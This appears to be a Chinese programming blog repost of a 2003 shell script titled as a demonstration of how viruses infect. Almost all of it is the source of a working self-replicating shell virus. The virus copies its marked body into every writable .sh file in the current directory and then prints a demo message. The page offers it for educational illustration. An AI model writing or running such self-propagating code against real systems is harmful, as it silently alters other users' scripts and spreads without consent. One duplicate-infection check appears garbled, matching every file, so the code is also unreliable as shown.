龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 操作系统 > LINUX系统 >

Linux shell脚本程序阐释病毒感染基本原理

时间:2011-03-20 22:37来源:未知 作者:admin 点击:
分享到:
#!/bin/sh #文件名: virus_demo.sh #用途 : shell病毒演示。 #说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。 #编写 :watercloud@xfocus.org #日期 : 2003-5-13 #B: vFile=$_ ; #USERNAME vT

  #!/bin/sh

  #文件名: virus_demo.sh

  #用途 : shell病毒演示。

  #说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。

  #编写 :watercloud@xfocus.org

  #日期 : 2003-5-13

  #B:

  vFile=$_ ; #USERNAME

  vTmp=/tmp/.vTmp.$$ #

  for f in ./*.sh; #感染所有当前目录下的.sh脚本文件

  do

  if [ ! -w $f -a ! -r $vFile ]; then continue; fi

  if grep '' $f ; then continue; fi

  if sed -n '1p' $f | grep 'csh'; then continue; fi

  cp -f $f $vTmp ;

  if [ $? -ne 0 ];then continue; fi

  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

  sed -n "1,${vNo}p" $vTmp >$f

  (sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f

  vNo=`expr $vNo + 1`

  sed -n "${vNo},\$p" $vTmp >>$f

  rm -f $vTmp

  done >/dev/null 2>&1

  unset vTmp ;

  unset vFile ;

  unset vNo

  echo "Hi, here is a demo shell virus in your script !"

  #E:

  #EOF

精彩图集

赞助商链接